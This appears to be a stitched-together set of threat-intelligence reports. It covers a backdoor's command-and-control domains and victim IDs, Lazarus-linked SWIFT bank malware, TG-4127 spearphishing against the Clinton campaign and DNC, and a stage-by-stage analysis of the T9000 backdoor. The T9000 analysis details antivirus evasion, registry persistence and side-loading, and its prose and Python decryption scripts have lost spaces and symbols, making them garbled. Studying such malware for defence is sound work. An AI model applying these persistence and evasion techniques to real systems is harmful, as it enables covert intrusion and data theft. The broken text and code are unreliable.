This allows us to draw the following diagram of the CC infrastructure as of November 2012: For the Command and Control servers, the various generations of the backdoor connect to different scripts: Domain Script location /cgi-bin/nt/th http://178.63.208.63:40080/ nt-windows-update.com, nt-windows-check.com, nt-windows-online.com /cgi-bin/nt/sk dll-host-update.com /cgi-bin/dllhost/ac microsoft-msdn.com /cgi-bin/ms/check /cgi-bin/ms/flush windows-genuine.com /cgi-bin/win/wcx /cgi-bin/win/cab windowsonlineupdate.com /cgi-bin/win/cab For instance, the script /cgi-bin/nt/th is being used to receive commands from the command-and- control server, usually in the form of new plugins to run on the victims computer.
The /cgi-bin/nt/sk script is called by the running plugins to upload stolen data and information about the victim.
When connecting to the CC, the backdoor identifies itself with a specific string which includes a hexadecimal value that appears to be the victims unique ID.
Different variants of the backdoor contain different victim IDs.
Presumably, this allows the attackers to distinguish between the multitudes of connections and perform specific operations for each victim individually.
For instance, a top level XLS dropper presumably used against a Polish target, named Katyn_- _opinia_Rosjan.xls contains the hardcoded victim ID F50D0B17F870EB38026F.
A similar XLS named tactlist_05-05-2011_.8634.xls / EEAS New contact list (05-05-2011).xls possibly used in Moldova contains a victim ID FCF5E48A0AE558F4B859.
Part 2 of this paper will cover malware modules and provide more technical details about their operation.
May 25, 2016 SWIFT attackers malware linked to more financial attacks symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks Symantec Official Blog Bank in Philippines was also targeted by attackers, whose malware shares code with tools used by Lazarus group.
By: Symantec Security ResponseSymantec Employee Created 26 May 2016 : , , , Symantec has found evidence that a bank in the Philippines has also been attacked by the group that stole US81 million from the Bangladesh central bank and attempted to steal over 1 million from the Tien Phong Bank in Vietnam.
Malware used by the group was also deployed in targeted attacks against a bank in the Philippines.
In addition to this, some of the tools used share code similarities with malware used in historic attacks linked to a threat group known as Lazarus.
The attacks can be traced back as far as October 2015, two months prior to the discovery of the failed attack in Vietnam, which was hitherto the earliest known incident.
The attack against the Bangladesh central bank triggered an alert by payments network SWIFT, after it was found the attackers had used malware to cover up evidence of fraudulent transfers.
SWIFT issued a further warning, saying that it had found evidence of malware being used against another bank in a similar fashion.
Vietnams Tien Phong Bank subsequently 1/4 https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks https://www.symantec.com/connect/user/symantec-security-response https://www.symantec.com/connect/zh-hans/blogs/swift https://www.symantec.com/connect/blogs/swift-2 https://www.symantec.com/connect/ja/blogs/swift-0 https://www.symantec.com/connect/blogs/swift-1 https://www.swift.com/insights/press-releases/swift-comments-on-malware-reports https://www.swift.com/insights/press-releases/swift-customer-communication_customer-security-issues http://www.reuters.com/article/us-vietnam-cybercrime-idUSKCN0Y60EN stated that it intercepted a fraudulent transfer of over 1 million in the fourth quarter of last year.
SWIFT concluded that the second attack indicates that a wider and highly adaptive campaign is underway targeting banks.
A third bank, Banco del Austro in Ecuador, was also reported to have lost 12 million to attackers using fraudulent SWIFT transactions.
However, no details are currently known about the tools used in this incident or if there are any links to the attacks in Asia.
Discovery of additional tools used by attackers Symantec has identified three pieces of malware which were being used in limited targeted attacks against the financial industry in South-East Asia: Backdoor.
Fimlis, Backdoor.
Fimlis.
B, and Backdoor.
Contopee.
At first, it was unclear what the motivation behind these attacks were, however code sharing between Trojan.
Banswift (used in the Bangladesh attack used to manipulate SWIFT transactions) and early variants of Backdoor.
Contopee provided a connection.
While analyzing samples of Trojan.
Banswift, a distinct file wiping code was found.
Some of the distinctive properties of the wiping code include: Function takes two parameters: path of file to overwrite and number of iterations (max six) It will initially overwrite the last byte of the target file with 0x5F Six control bytes are supplied which dictate what bytes are used during the overwrite process 2/4 http://www.reuters.com/article/us-cyber-heist-swift-specialreport-idUSKCN0YB0DD https://www.symantec.com/security_response/writeup.jsp?docid2016-021219-3219-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-021220-0239-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-021515-4543-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-042523-1230-99 https://www.symantec.com/security_response/writeup.jsp?docid2016-042523-1230-99 Figure 1.
Unique wiping code found in Trojan.
Banswift and additional Lazarus tools Already this code looked fairly unique.
What was even more interesting was that when we searched for additional malware containing the exact combination of control bytes, an early variant of Backdoor.
Contopee and the msoutc.exe sample already discussed in the recent BAE blog analyzing the Bangladesh attack were also found.
Symantec believes distinctive code shared between families and the fact that Backdoor.
Contopee was being used in limited targeted attacks against financial institutions in the region, means these tools can be attributed to the same group.
Historical attacks Backdoor.
Contopee has been previously used by attackers associated with a broad threat group known as Lazarus.
Lazarus has been linked to a string of aggressive attacks since 2009, largely focused on targets in the US and South Korea.
The group was linked to Backdoor.
Destover, a highly destructive Trojan that was the subject of an FBI warning after it was used in an attack against Sony Pictures Entertainment.
The FBI concluded that the North Korean government was responsible for this attack.
3/4 http://baesystemsai.blogspot.ie/2016/05/cyber-heist-attribution.html http://www.symantec.com/connect/blogs/collaborative-operation-blockbuster-aims-send-lazarus-back-dead http://www.symantec.com/security_response/writeup.jsp?docid2014-120209-5631-99 https://www.fbi.gov/news/pressrel/press-releases/update-on-sony-investigation The group was the target of a cross-industry initiative known as Operation Blockbuster earlier this year, which involved major security vendors sharing intelligence and resources in order to assist commercial and government organizations in protecting themselves against Lazarus.
As part of the initiative, vendors are circulating malware signatures and other useful intelligence related to these attackers.
Ongoing danger The discovery of more attacks provides further evidence that the group involved is conducting a wide campaign against financial targets in the region.
While awareness of the threat posed by the group has now been raised, its initial success may prompt other attack groups to launch similar attacks.
Banks and other financial institutions should remain vigilant.
Protection Symantec and Norton products protect against these threats with the following detections: Antivirus 4/4 SWIFT attackers malware linked to more financial attacks
Threat Group-4127 Targets Hillary Clinton Presidential Campaign www.secureworks.com /research/threat-group-4127-targets-hillary-clinton-presidential-campaign Author: SecureWorks Counter Threat Unit Threat Intelligence Date: 16 June 2016 Summary SecureWorks Counter Threat Unit (CTU) researchers track the activities of Threat Group-4127 [1] (TG-4127), which targets governments, military, and international non-governmental organizations (NGOs).
Components of TG- 4127 operations have been reported under the names APT28, Sofacy, Sednit, and Pawn Storm.
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government.
Between October 2015 and May 2016, CTU researchers analyzed 8,909 Bitly links that targeted 3,907 individual Gmail accounts and corporate and organizational email accounts that use Gmail as a service.
In March 2016, CTU researchers identified a spearphishing campaign using Bitly accounts to shorten malicious URLs.
The targets were similar to a 2015 TG-4127 campaign  individuals in Russia and the former Soviet states, current and former military and government personnel in the U.S. and Europe, individuals working in the defense and government supply chain, and authors and journalists  but also included email accounts linked to the November 2016 United States presidential election.
Specific targets include staff working for or associated with Hillary Clintons presidential campaign and the Democratic National Committee (DNC), including individuals managing Clintons communications, travel, campaign finances, and advising her on policy.
Spearphishing details The short links in the spearphishing emails redirected victims to a TG-4127-controlled URL that spoofed a legitimate Google domain.
A Base64-encoded string containing the victims full email address is passed with this URL, prepopulating a fake Google login page displayed to the victim.
If a victim enters their credentials, TG-4127 can establish a session with Google and access the victims account.
The threat actors may be able to keep this session alive and maintain persistent access.
Hillary for America The Hillary for America presidential campaign owns the hillaryclinton.com domain, which is used for the campaign website (www.hillaryclinton.com) and for email addresses used by campaign staff.
An examination of the hillaryclinton.com DNS records shows that the domains MX records, which indicate the mail server used by the domain, point to aspmx.l.google.com, the mail server used by Google Apps.
Google Apps allows organizations to use Gmail as their organizational mail solution.
TG-4127 exploited the Hillary for America campaigns use of Gmail and leveraged campaign employees expectation of the standard Gmail login page to access their email account.
When presented with TG-4127s spoofed login page (see Figure 1), victims might be convinced it was the legitimate login page for their hillaryclinton.com email account.
Figure 1.
Example of a TG-4127 fake Google Account login page.
(
Source: www.phishtank.com) 1/4 https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaignfootnote1 https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaignappendix https://bitly.com/ https://support.google.com/a/answer/33915?hlen CTU researchers observed the first short links targeting hillaryclinton.com email addresses being created in mid- March 2016 the last link was created in mid-May.
During this period, TG-4127 created 213 short links targeting 108 email addresses on the hillaryclinton.com domain.
Through open-source research, CTU researchers identified the owners of 66 of the targeted email addresses.
There was no open-source footprint for the remaining 42 addresses, suggesting that TG-4127 acquired them from another source, possibly other intelligence activity.
The identified email owners held a wide range of responsibilities within the Hillary for America campaign, extending from senior figures to junior employees and the group mailboxes for various regional offices.
Targeted senior figures managed communications and media affairs, policy, speech writing, finance, and travel, while junior figures arranged schedules and travel for Hillary Clintons campaign trail.
Targets held the following titles: National political director Finance director Director of strategic communications Director of scheduling Director of travel Traveling press secretary Travel coordinator Publicly available Bitly data reveals how many of the short links were clicked, likely by a victim opening a spearphishing email and clicking the link to the fake Gmail login page.
Only 20 of the 213 short links have been clicked as of this publication.
Eleven of the links were clicked once, four were clicked twice, two were clicked three times, and two were clicked four times.
Democratic National Committee The U.S. Democratic partys governing body, the Democratic National Committee (DNC), uses the dnc.org domain for its staff email.
Between mid-March and mid-April 2016, TG-4127 created 16 short links targeting nine dnc.org email accounts.
CTU researchers identified the owners of three of these accounts two belonged to the DNCs secretary emeritus, and one belonged to the communications director.
Four of the 16 short links were clicked, three by the senior staff members.
As of this publication, dnc.org does not use the Google Apps Gmail email service.
However, because dnc.org email accounts were targeted in the same way as hillaryclinton.com accounts, it is likely that dnc.org did use Gmail at that time and later moved to a different service.
CTU researchers do not have evidence that these spearphishing emails are connected to the DNC network compromise that was revealed on June 14.
However, a coincidence seems unlikely, and CTU researchers suspect that TG-4127 used the spearphishing emails or similar techniques to gain an initial foothold in the DNC network.
Personal email accounts CTU researchers identified TG-4127 targeting 26 personal gmail.com accounts belonging to individuals linked to the Hillary for America campaign, the DNC, or other aspects of U.S. national politics.
Five of the individuals also had a hillaryclinton.com email account that was targeted by TG-4127.
Many of these individuals held communications, media, finance, or policy roles.
They include the director of speechwriting for Hillary for America and the deputy director office of the chair at the DNC.
TG-4127 created 150 short links targeting this group.
As of this publication, 40 of the links have been clicked at least once.
Related activity and implications 2/4 http://edition.cnn.com/2016/06/14/politics/democratic-national-committee-breach-russians-donald-trump/ Although the 2015 campaign did not focus on individuals associated with U.S. politics, open-source evidence suggests that TG-4127 targeted individuals connected to the U.S. White House in early 2015.
The threat group also reportedly targeted the German parliament and German Chancellor Angela Merkels Christian Democratic Union party.
CTU researchers have not observed TG-4127 use this technique (using Bitly short links) to target the U.S. Republican party or the other U.S. presidential candidates whose campaigns were active between mid-March and mid-May: Donald Trump, Bernie Sanders, Ted Cruz, Marco Rubio, and John Kasich.
However, the following email domains do not use Google mail servers and may have been targeted by other means: gop.com  used by the Republican National Committee donaldjtrump.com  used by the Donald Trump campaign johnkasich.com  used by the John Kasich campaign Access to targets Google accounts allows TG-4127 to review internal emails and potentially access other Google Apps services used by these organizations, such as Google Drive.
In addition to the value of the intelligence, the threat actors could also exploit this access for other malicious activity, such as generating spearphishing emails from internal email addresses to compromise the organizations networks with malware.
The Russian government views the U.S. as a strategic rival and is known to task its intelligence agencies with gathering confidential information about individuals and organizations close to the center of power in the U.S.
Individuals working for the Hillary for America campaign could have information about proposed policies for a Clinton presidency, including foreign-policy positions, which would be valuable to the Russian government.
Information about travel plans and campaign scheduling could provide short-term opportunities for other intelligence operations.
Long-term access to email accounts of senior campaign advisors, who may be appointed to staff positions in a Clinton administration, could provide TG-4127 and the Russian government with access to those individuals accounts.
Conclusion While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states, this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government.
Non-governmental political organizations may provide access to desirable national policy information, especially foreign policy, but may not have the same level of protection and security as governmental organizations.
Targeting individuals linked to presidential campaigns could represent an intelligence long game, as establishing access to potential U.S. administration staff before they are appointed could be easier than targeting them when they are established in the White House.
Access to an individuals personal or corporate email account provides a substantial amount of useful intelligence, and threat actors could also leverage the access to launch additional attacks to penetrate the network of an associated organization.
Users rarely check the full URL associated with short links, so threat groups can use URL-shortening services to effectively hide malicious URLs.
Threat actors can use the services detailed statistics about which links were clicked when, and from what location, to track the success of a spearphishing campaign.
A single compromised account could allow TG-4127 to achieve its operational goals.
CTU researchers recommend that clients take appropriate precautions to minimize the risk of these types of attacks: Educate users about the risks of spearphishing emails.
Use caution and exercise due diligence when faced with a shortened link, especially in unsolicited email messages.
Pasting Bitly URLs, appended with a plus sign, into the address bar of a web browser reveals the full URL.
For clients using Gmail as a corporate mail solution, educate users about the risk of spoofed login pages and encourage them to confirm they are on the legitimate Google Accounts page when presented with a Google 3/4 http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activities-targets-nato-white-house/ http://www.bbc.co.uk/news/technology-36284447 login prompt.
Appendix  Gauging confidence level CTU researchers have adopted the grading system published by the U.S. Office of the Director of National Intelligence to indicate confidence in their assessments: High confidence generally indicates that judgments are based on high-quality information, and/or that the nature of the issue makes it possible to render a solid judgment.
A high confidence judgment is not a fact or a certainty, however, and such judgments still carry a risk of being wrong.
Moderate confidence generally means that the information is credibly sourced and plausible but not of sufficient quality or corroborated sufficiently to warrant a higher level of confidence.
Low confidence generally means that the informations credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems with the sources.
[
1] The SecureWorks Counter Threat Unit (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (4127 in this case), and compiles information from external sources and from first-hand incident response observations.
4/4 Threat Group-4127 Targets Hillary Clinton Presidential Campaign Summary Spearphishing details Hillary for America Democratic National Committee Personal email accounts Related activity and implications Conclusion Appendix  Gauging confidence level
T9000:AdvancedModularBackdoorUsesComplex AntiAnalysisTechniquesPaloAltoNetworksBlog Mostcustombackdoorsusedbyadvancedattackershavelimitedfunctionality.
Theyevadedetection bykeepingtheircodesimpleandflyingundertheradar.
Butduringarecentinvestigationwefounda backdoorthattakesaverydifferentapproach.
WerefertothisbackdoorasT9000,whichisanewer variantoftheT5000malwarefamily,alsoknownasPlat1.
Inadditiontothebasicfunctionalityallbackdoorsprovide,T9000allowstheattackertocapture encrypteddata,takescreenshotsofspecificapplicationsandspecificallytargetSkypeusers.
The malwaregoestogreatlengthstoidentifyatotalof24potentialsecurityproductsthatmayberunning onasystemandcustomizesitsinstallationmechanismtospecificallyevadethosethatareinstalled.
It usesamultistageinstallationprocesswithspecificchecksateachpointtoidentifyifitisundergoing analysisbyasecurityresearcher.
Theprimaryfunctionalityofthistoolistogatherinformationaboutthevictim.
Infact,theauthorchose tostorecriticalfilesdroppedbytheTrojaninadirectorynamedIntel.
T9000ispreconfiguredto automaticallycapturedataabouttheinfectedsystemandstealfilesofspecifictypesstoredon removablemedia.
WehaveobservedT9000usedinmultipletargetedattacksagainstorganizationsbasedintheUnited States.
However,themalwaresfunctionalityindicatesthatthetoolisintendedforuseagainstabroad rangeofusers.
Inthisreport,weshareananalysisofeachstageinT9000sexecutionflow.
Stay tunedforafuturereportinwhichwewillprovidemoredetailonhowthistoolhasbeenusedandthe infrastructurewehaveidentifiedaspartofouranalysis.
T9000BackdoorAnalysis Theentireexecutionflowofthemalwareisrepresentedinthefollowingdiagram: Asthismalwareusesamultistageexecutionflow,welldiscusseachstageindividually.
InitialExploitation ThesampleofT9000usedinthisanalysiswasoriginallydroppedviaaRTFfilethatcontained exploitsforbothCVE20121856andCVE20151641.Whentriggered,aninitialshellcodestageis run,whichisresponsibleforlocatingandexecutingasecondaryshellcodestub.
Thesecondstage shellcodereadstheinitialRTFdocumentandseekstotheendofthefile,usingthelastfourbytesas thesizeoftheembeddedpayload.
Withthepayloadsizeconfirmed,theshellcodewillcreateafileintheTEMPfolderusinga temporaryfilename.
Theshellcodewilldecryptandsubsequentlyloadtheembeddedpayloadinthe RTFfile.
ThedecryptedpayloadiswrittentothetemporaryfileandexecutedusingWinExec.
The shellcodethenattemptstodecryptanembeddeddecoydocumentwiththesamealgorithmusedto decryptthepayload,whichitwillsavetoTEMP\tmp.docpath.
Thisfileisopenedusingthe followingcommand: cmd/CTEMP\tmp.doc However,thisparticularsampledidnotcontainadecoydocument.
Stage1 Whenthistemporaryfileisinitiallyexecuted,itwillbeginbycreatingthefollowingmutextoensure onlyoneinstanceofthemalwareisrunningatagiventime: 820C90CxxA1B084495866C6D95B2595xx1C3 Itcontinuestoperformanumberofchecksforinstalledsecurityproductsonthevictimmachine.
The followingsecurityplatformsarequeriedbycheckingentrieswithintheHKLM\Software\registrypath: Sophos INCAInternet DoctorWeb Baidu Comodo TrustPortAntivirus GData AVG BitDefender VirusChaser McAfee Panda TrendMicro Kingsoft Norton Micropoint Filseclab AhnLab http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-1856 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 JiangMin Tencent Avira Kaspersky Rising 360 ThesesecurityproductsarerepresentedbyavaluethatisbinaryANDedwithanyotherproducts found.
Thefollowingnumbersrepresenteachrespectivesecurityproduct.
0x08000000:Sophos 0x02000000:INCAInternet 0x04000000:DoctorWeb 0x00200000:Baidu 0x00100000:Comodo 0x00080000:TrustPortAntivirus 0x00040000:GData 0x00020000:AVG 0x00010000:BitDefender 0x00008000:VirusChaser 0x00002000:McAfee 0x00001000:Panda 0x00000800:TrendMicro 0x00000400:Kingsoft 0x00000200:Norton 0x00000100:Micropoint 0x00000080:Filseclab 0x00000040:AhnLab 0x00000020:JiangMin 0x00000010:Tencent 0x00000004:Avira 0x00000008:Kaspersky 0x00000002:Rising 0x00000001:360 So,forexample,ifbothTrendMicroandSophoswerediscoveredonavictimmachine,theresulting valuewouldbe0x08000800.Thisnumericalvalueiswrittentothefollowingfile: APPDATA\Intel\avinfo ThemalwareproceedstodropthefollowingfilestotheAPPDATA\Inteldirectory: Additionally,thefollowingtwofilesarewrittentotheDatadirectory: Thefollowingtableprovidesadescriptionofeachfiledropped: FileName Description 1 Debuginformationaboutfilesusedbymalware.
avinfo Installedsecurityproductsonvictim.
hccutils.dll MaliciousDLL.LoadsResN32.dll.
hccutils.inf MaliciousINFfile.
Pointstohccutils.dll.
hjwe.dat Encryptedcoreofmalwarefamily.
igfxtray.exe LegitimateMicrosoftexecutable.
Loadshccutils.dll.
qhnj.dat Encryptedplugin.
Hooksanumberoffunctionsandlogs results.
QQMgr.dll MaliciousDLL.SetspersistenceviaRunregistrykey.
QQMgr.inf MaliciousINFfile.
PointstoQQMgr.dll ResN32.dat Stringpointingtopathofencryptedcoreofmalware.
ResN32.dll MaliciousDLL.Decrypts,decompresses,andloads coremalware.
tyeu.dat Encryptedplugin.
TakesscreenshotsandcollectsSkype information.
vnkd.dat Encryptedplugin.
Findsfilesonremovabledriveson victimmachine.
dtl.dat Encryptedconfigurationinformation.
glp.uin Pluginconfigurationinformation.
YoullnoticethatQQMgrfilesarenotlistedintheoriginalmalwareexecutionflowdiagram.
Inthe eventthevictimisrunninganyofthefollowingoperatingsystemversions,aswellaseitherKingsoft, Filseclab,orTencentsecurityproducts,themalwarewillbeinstalledusinganalternativemethod.
Windows2008R2 Windows7 Windows2012 Windows8 Insuchasituation,themalwarewillfindandrunthebuiltinMicrosoftWindowsInfDefaultInstall.exe program,whichwillinstallaDLLviaanINFfile.
ShouldTencentbeinstalled,themalwarewillexecute theInfDefaultInstall.exeprogramwithanargumentofQQMgr.inf.
Otherwise,itwillusehccutils.inf asanargument.
QQMgr.infwillinstalltheQQMgr.dll,whilehccutils.infwillinstallthehccutils.dlllibrary.
QQMgr.dllwill setthefollowingregistrykey: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\EupdateAPPDATA\Intel\ResN32.dll TheQQMgr.dllfilehasthefollowingdebugstringfoundwithinit: H:\WORK\PROJECT\InfInstallBypassUAC\Release\BypassUAC.pdbThehccutils.dllfileisdescribed laterwithinthispost.
Afterthemalwaredropstherequiredfiles,bydefaultthemalwarewillspawn APPDATA\Intel\igfxtray.exeinanewprocess,whichbeginsthesecondstageofthemalwares execution.
Stage2 Theigfxtray.exeisalegitimateMicrosoftWindowsexecutablethatsideloadsthemalicioushccutils.dll DLLfile.
ThisDLLhasthefollowingdebugstringembeddedwithinit: D:\WORK\T9000\hccutils_M4\Release\hccutils.pdb UponloadingthismaliciousDLL,themalwarewillinitiallyperformthesamequeriesforsecurity productsthatwerewitnessedinstage1.
Threeseparatetechniquesforstartingstage3areuseddependingonthepropertiesofthevictim.
Thefirsttechniqueisusedifthevictimmeetsthefollowingcriteria: MicrosoftWindows8/WindowsServer2012R2 DoctorWebsecurityproductinstalled Forthissituation,thefollowingregistrykeyisset: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\updateSYSTEM\rundll32.exe APPDATA\Intel\ResN32.dllRun ThisensuresthattheResN32.dlllibrarywillberunusingtheRunexportedfunctionwheneverthe machineisrebooted.
Thesecondtechniqueisusedifthevictimmeetsanyofthefollowingsetsofcriteria: MicrosoftWindows8/WindowsServer2012R2 NotrunningKingsoft,Tencent,orDoctorWebsecurityproducts MicrosoftWindowsXPorlower Nosecurityproductsinstalled,orrunninganyofthefollowing: Sophos GData TrendMicro AhnLab Kaspersky Inthesesituations,thefollowingpersistencetechniqueisused.
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs APPDATA\Intel\ResN32.dllHKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs0x1 SettingtheseregistrykeysbothenablestheAppInit_DLLfunctionality,andensuresthateveryuser modeprocessthatisspawnedwillloadtheResN32.dlllibrary.
Moreinformationaboutthiscanbe https://attack.mitre.org/wiki/DLL_side-loading foundhere.
Thethirdtechniqueisusedinanyothersituation.
Whenthisoccurs,themalwarewillfirstidentifythe explorer.exeprocessidentifier.
ItproceedstoinjecttheResN32.dlllibraryintothisprocess.
Atthispoint,thethirdstageofthemalwarefamilyisloaded.
Stage3 ThethirdstagebeginswhentheResN32.dllfilebeginsoperating.
Thisfilecontainsthefollowing debugstring: D:\WORK\T9000\ResN_M2\Release\ResN32.pdb TheResN32.dlllibrarybeginsbyspawninganewthreadthatisresponsibleforthemajorityofthe capabilitiesbuiltintothissample.
Thisthreadbeginsbycheckingtheoperatingsystemversion,and onceagainrunsaqueryonthevarioussecurityproductsinstalledonthevictimmachine.
Undercertainconditions,thefollowingregistrykeyisset,ensuringpersistenceacrossreboots: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\updatec:\windows\system32\rundll32.exe APPDATA\Intel\ResN32.dllRun Followingthis,anewthreadiscreatedthatisresponsiblefordeletingpreviouslywrittenfiles.
This threadcreatesthefollowingmutex: Global\\deletethread Itproceedstoattempttodeletethefollowingfilesinaninfiniteloopuntilsaidfileshavebeendeleted: STARTUP\hccutils.dll STARTUP\hccutil.dll STARTUP\igfxtray.exe TheResN32.dllmalwareproceedstoreadintheResN32.datfilethatwaspreviouslywrittentodisk.
Thisfilecontainsapathtothehjwe.datfile,whichissubsequentlyreadin.
Thedatawithinthehjwe.datfileisdecryptedusingtheRC4algorithm,andsubsequently decompressedusingtheLZMAalgorithm.
Thefollowingscriptcanbeusedtodecryptthehjwe.dat file,alongwiththepluginsthatwillbediscussedlater.
1 2 3 4 5 6 7 8 https://msdn.microsoft.com/en-us/library/windows/desktop/dd744762(vvs.85).aspx 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 importsys,pylzma frombase64import frombinasciiimport fromstructimport defrc4(data,key): Srange(256) j0 out[] foriinrange(256): j(jS[i]ord(key[ilen(key)]))256 S[i],S[j]S[j],S[i] ij0 forcharindata: i(i1)256 j(jS[i])256 S[i],S[j]S[j],S[i] out.append(chr(ord(char)S[(S[i]S[j])256])) return.join(out) fopen(sys.argv[1],rb) fdf.read() f.close() bytes_0_4,bytes_4_8,bytes_8_12,bytes_12_16unpack(IIII,fd[0:16]) ifbytes_0_40xf7e4aa65: lengthbytes_8_12 iflen(fd)16length: print[]Possibleerrorreadinginlengthofdata.
key_size260 keyfd[16:16key_size] datafd[16key_size:] decryptedrc4(data,key) decompressedpylzma.decompress_compat(decrypted) f1open(sys.argv[1].decompressed,wb) f1.write(decompressed) f1.close print[]Wrotes(sys.argv[1].decompressed) Afterthisfilehasbeendecryptedanddecompressed,itiswrittentoafileintheTEMPdirectory withafileprefixof____RES.Thisfile,whichcontainsaWindowsDLL,isthenloadedintothe currentprocess.
Afterthemaliciouslibraryhasbeenloaded,thepreviouslywrittentemporaryfileis deleted.
Thisbeginsthelaststageofthemalware,whichwillloadthecoreofthemalwarefamily.
Stage4 Oncethedecryptedanddecompressedhjwe.datfileisloaded,itbeginsbycheckingitsparent processagainstthefollowinglist.
Iftheparentprocessmatchesthefollowingblacklist,themalicious DLLwillexitwithoutperforminganymaliciousactivities.
winlogon.exe csrss.exe logonui.exe ctfmon.exe drwtsn32.exe logonui.exe explore.exe System Dbgview.exe userinit.exe lsass.exe wmiprvse.exe services.exe inetinfo.exe avp.exe Rtvscan.exe Themalwareproceedstocollecttheusernameofthevictim,aswellastheoperatingsystemversion.
Itthencomparesitsparentprocessagainstthefollowinglistofexecutables: winlogon.exe csrss.exe logonui.exe ctfmon.exe drwtsn32.exe logonui.exe System Dwm.exe QQPCRTP.exe Tasking.exe Taskhost.exe Taskmgr.exe Dbgview.exe suerinit.exe lsass.exe wmiprvse.exe services.exe inetinfo.exe avp.exe Rtvscan.exe Noticetherepeatedcheckforthelogonui.exe,aswellastheoverlapwiththepreviousparent executablecheck,whichimpliessloppinessbythemalwareauthor.
Afterthesechecksareperformed,thefollowingmutexiscreated.
Global\\A59CF429D0DD420788A104090680F714 Thefollowingfoldersarethencreated: utd_CE31 XOLOADER Update ThepathofthesefoldersisdeterminedbytheversionofMicrosoftWindowsrunning.
Thefollowing possibilitiesexist: ALLUSERSPROFILE\Documents\MyDocument\ PUBLIC\Downloads\Update\ Atthispoint,themalwarewillreadinthedtl.datfile,whichcontainsconfigurationdata.
Data containedwiththisfilestartingatoffset0x20isxorencryptedusingasinglebytekeyof0x5F.The followingscriptcanbeusedtoextracttheIPaddressandportfortheC2serverfromthisfile.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 fromstructimport importsys,socket defint2ip(addr): returnsocket.inet_ntoa(pack(I,addr)) config_filesys.argv[1] fopen(config_file,rb) fdf.read() f.close() decrypted forxinfd[32:]: decryptedchr(ord(x)0x5f) portunpack(I,decrypted[4:8])[0] ipint2ip(unpack(I,decrypted[8:12])[0]) printIPAddress:sip printPort:dport Themalwarewillthenreadinandparsetheincludedpluginconfigurationinformation,whichisfound withintheglp.uinfilethatwaspreviouslydropped.
Theseincludedpluginsareencryptedand compressedusingthesamemethodwitnessedbythehjwe.datfilepreviously.
Thepreviously includedscriptcanbeusedtodecryptanddecompressthefollowingthreepluginfiles: tyeu.dat vnkd.dat qhnj.dat Thesethreepluginsaresubsequentlyloadedafterbeingdecryptedanddecompressed.
Anoverview ofthesepluginscanbefoundlaterinthispost.
Themalwareproceedstocreatethefollowingevent: Global\\34748A264EAD4331B039673612E8A5FC Additionally,thefollowingthreemutexesarecreated: Global\\3C6FB3CA69B1454f8B2FBD157762810E Global\\43EE34A990634d2cAACDF5C62B849089 Global\\A8859547C62D4e8bA82DBE1479C684C9 Themalwarewillspawnanewthreadtohandlenetworkcommunication.
Thefollowingeventis createdpriortothiscommunicationoccurring: Global\\EED5CA6C99584611B7A71238F2E1B17E Themalwareincludesproxysupportintheeventthatthevictimisbehindawebproxy.
Networktraffic occursoverabinaryprotocolontheportspecifiedwithintheconfiguration.
Trafficisxorencrypted withasinglebytekeyof0x55inanattempttobypassanynetworksecurityproductsthatmaybein place.
Oncedecrypted,thefollowingtrafficissentbythemalware.
Figure1:Decrypteddatasentbymalware Aswecanseefromtheaboveimage,themalwarewillsendoutaninitialbeacon,followedbyvarious collectedinformationfromthevictimmachine.
Thefollowinginformationisexfiltrated: Installedsecurityproducts Systemtime BuildNumber CPUArchitecture(32bit/64bit) MACAddress IPAddress Hostname Username Parentexecutablename Pluginconfigurationinformation Themalwareisconfiguredtoreceiveanumberofcommands.
Thefollowingcommandfunctionalities havebeenidentified.
Command Description DIR Directorylisting LIR Drivelisting RUN Executecommand(Eitherinteractivelyornot) CIT Sendcommandtointeractivelyspawnedcommand CFI Killinteractivelyspawnedprocess DOW Downloadfile UPL Uploadfile DEL Deletefile DTK Retrievestatisticsforfile ERR Nullcommand Additionally,thefollowingcommandshavebeenidentified,however,theirfunctionalitieshaveyetto befullydiscovered.
PNG PLI PLD FDL OSC OSF SDA QDA TFD SDS SCP FMT STK CRP Plugin1tyeu.dat Whenthispluginiscalledwiththedefaultexportedfunction,itwillcreatethefollowingmutex: CE2100CF34184f9a9D5DCC7B58C5AC62 WhencalledwiththeSetCallbackInterfacefunctionexport,themaliciouscapabilitiesoftheplugin begin.
Thepluginbeginsbycollectingtheusernameoftherunningprocess,anddeterminingifitis runningundertheSYSTEMaccount.
IfrunningasSYSTEM,thepluginwillassociatetheactive desktopwiththepluginsthread.
Thepluginproceedstocreatethefollowingnamedevent: Global\\EED5CA6C99584611B7A71238F2E1B17E Multiplethreadsarethenspawnedtohandlevariousactions.
Thefirstthreadisresponsiblefortaking ascreenshotofthedesktopofthevictimmachine.
Thisscreenshotdataisbothcompressedand encryptedusingasinglebytexorkeyof0x5F.Thisdataiswrittentooneofthefollowingfiles: PUBLIC\Downloads\Update\S[random].dat ALLUSERSPROFILE\Documents\MyDocument\S[random].dat Therandomdataisgeneratedviathecurrentsystemtime.
